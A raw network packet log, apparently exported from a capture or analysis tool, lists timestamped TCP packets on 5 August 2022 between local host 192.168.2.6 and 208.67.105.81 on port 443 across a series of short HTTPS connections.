Aug 5, 2022 12:11:47.072004080 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.072089911 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.072222948 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.073595047 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.073622942 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.134488106 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.134680033 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.136279106 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.136305094 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.158303022 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.158333063 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.189754009 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.189887047 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.190015078 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.190040112 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.214462042 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.214514971 CEST	443	49874	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.214533091 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.214891911 CEST	49874	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.734836102 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.734925032 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.735063076 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.738317966 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.738360882 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.798351049 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.801574945 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.809899092 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.809943914 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.816183090 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.816219091 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.852437019 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.852581978 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.852864981 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.867064953 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.867110968 CEST	443	49875	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:47.867125988 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:47.867227077 CEST	49875	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.384880066 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.384932041 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.385046959 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.386214018 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.386234999 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.446186066 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.446320057 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.446867943 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.446886063 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.451961040 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.451980114 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.504899979 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.505018950 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.505047083 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.505109072 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.527837038 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.527875900 CEST	443	49876	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.527921915 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.527967930 CEST	49876	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.983392000 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.983469009 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:48.983556986 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.985156059 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:48.985198975 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.045948029 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.046128988 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.047235966 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.047261000 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.069119930 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.069153070 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.100893021 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.101011992 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.101099014 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.101125002 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.111314058 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.111386061 CEST	443	49877	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.111399889 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.111440897 CEST	49877	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.569813967 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.569859982 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.569964886 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.570713043 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.570740938 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.632735968 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.632919073 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.634614944 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.634655952 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.639281988 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.639324903 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.706078053 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.706186056 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.706234932 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.706267118 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.706578016 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.706609011 CEST	443	49878	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:49.706645012 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:49.706672907 CEST	49878	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.305655003 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.305727005 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.305849075 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.306566954 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.306592941 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.367878914 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.368009090 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.368498087 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.368515968 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.373599052 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.373639107 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.422430992 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.422528982 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.422548056 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.422616959 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.427308083 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.427347898 CEST	443	49880	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:51.427395105 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:51.427427053 CEST	49880	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.434653044 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.434698105 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.434783936 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.436419964 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.436439991 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.498028994 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.498469114 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.504190922 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.504214048 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.511096954 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.511125088 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.552958965 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.553081036 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.553122044 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.553143978 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.554239988 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.554263115 CEST	443	49881	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:52.554316998 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:52.554342985 CEST	49881	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:53.874331951 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:53.874385118 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:53.874511003 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:53.875618935 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:53.875639915 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:53.939029932 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:53.939251900 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.059106112 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.059129953 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:54.299159050 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.299201965 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:54.327461958 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:54.327615023 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:54.327781916 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.327809095 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.381371021 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.381412983 CEST	443	49882	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:54.381431103 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:54.381479979 CEST	49882	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.316718102 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.316797972 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.316927910 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.395235062 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.395267963 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.456139088 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.456315994 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.596384048 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.596410990 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.604140997 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.604168892 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.633205891 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.633363962 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:55.633583069 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:55.633615971 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:56.575745106 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:56.575781107 CEST	443	49883	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:56.575807095 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:56.575839043 CEST	49883	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:58.976584911 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:58.976636887 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:58.976726055 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:58.990289927 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:58.990315914 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.052793980 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.053028107 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.278888941 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.278918028 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.285588980 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.285612106 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.313525915 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.313621998 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.313636065 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.313730001 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.410008907 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.410048008 CEST	443	49884	208.67.105.81	192.168.2.6
Aug 5, 2022 12:11:59.410059929 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:11:59.410101891 CEST	49884	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.030028105 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.030083895 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.030215979 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.049793959 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.049828053 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.111283064 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.111449957 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.125500917 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.125545025 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.179702044 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.179735899 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.214698076 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.214822054 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.214862108 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.214931011 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.222693920 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.222743034 CEST	443	49885	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.222759962 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.222817898 CEST	49885	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.780668974 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.780725956 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.780848026 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.807971001 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.808008909 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.873141050 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.873317003 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.881781101 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.881809950 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.888645887 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.888674974 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.929951906 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.930038929 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.930043936 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.930121899 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.952411890 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.952451944 CEST	443	49886	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:00.952464104 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:00.952500105 CEST	49886	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.406739950 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.406788111 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.407143116 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.423418045 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.423455000 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.484160900 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.485182047 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.491322994 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.491372108 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.496041059 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.496063948 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.539097071 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.539186001 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.539406061 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.540142059 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.540167093 CEST	443	49887	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:01.540184975 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:01.541110992 CEST	49887	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.045398951 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.045445919 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.045562983 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.046947002 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.046966076 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.107950926 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.108270884 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.130645990 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.130665064 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.136753082 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.136779070 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.171396017 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.171473980 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.172208071 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.232389927 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.232444048 CEST	443	49888	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.232456923 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.233170033 CEST	49888	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.797815084 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.797869921 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.798254013 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.825860023 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.825906038 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.887162924 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.888232946 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.930389881 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.930411100 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.936108112 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.936127901 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.964292049 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.964395046 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.966689110 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.978624105 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.978663921 CEST	443	49889	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:02.978674889 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:02.979311943 CEST	49889	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.500283003 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.500345945 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.500514030 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.501691103 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.501717091 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.564979076 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.565398932 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.570276976 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.570305109 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.576013088 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.576040030 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.620784998 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.620903969 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.621351957 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.621778011 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.621803045 CEST	443	49890	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:03.621857882 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:03.622410059 CEST	49890	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.177865982 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.177930117 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.179032087 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.180901051 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.180931091 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.244514942 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.245014906 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.267632961 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.267662048 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.271476984 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.271500111 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.299441099 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.300479889 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.301008940 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.334785938 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.334825993 CEST	443	49892	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.334840059 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.339281082 CEST	49892	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.968862057 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.968966007 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:04.969386101 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.974261045 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:04.974332094 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.035326958 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.036027908 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.037458897 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.037478924 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.041412115 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.041439056 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.089916945 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.090025902 CEST	443	49893	208.67.105.81	192.168.2.6
Aug 5, 2022 12:12:05.090233088 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.090830088 CEST	49893	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:12:05.090853930 CEST	443	49893	208.67.105.81	192.168.2.6
